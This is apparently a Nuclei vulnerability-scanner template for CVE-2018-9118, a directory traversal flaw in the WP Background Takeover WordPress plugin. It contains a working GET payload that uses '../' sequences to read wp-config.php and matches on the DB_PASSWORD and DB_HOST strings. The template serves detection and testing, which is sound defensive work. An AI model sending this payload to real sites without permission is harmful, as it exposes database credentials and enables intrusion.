id: CVE-2018-9118 info: name: WP Background Takeover, Directory Traversal <= 4.1.4 author: 0x_Akoko severity: high description: Affected by this vulnerability is an unknown functionality of the file exports/download.php. The manipulation of the argument filename with the input value leads to a directory traversal vulnerability reference: - https://www.exploit-db.com/exploits/44417 - https://wpvulndb.com/vulnerabilities/9056 - https://99robots.com/docs/wp-background-takeover-advertisements/ - https://www.exploit-db.com/exploits/44417/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-9118 cwe-id: CWE-22 tags: wordpress,wp-plugin,lfi,cve,cve2018,traversal requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php' matchers-condition: and matchers: - type: word words: - "DB_NAME" - "DB_PASSWORD" - "DB_HOST" - "The base configurations of the WordPress" part: body condition: and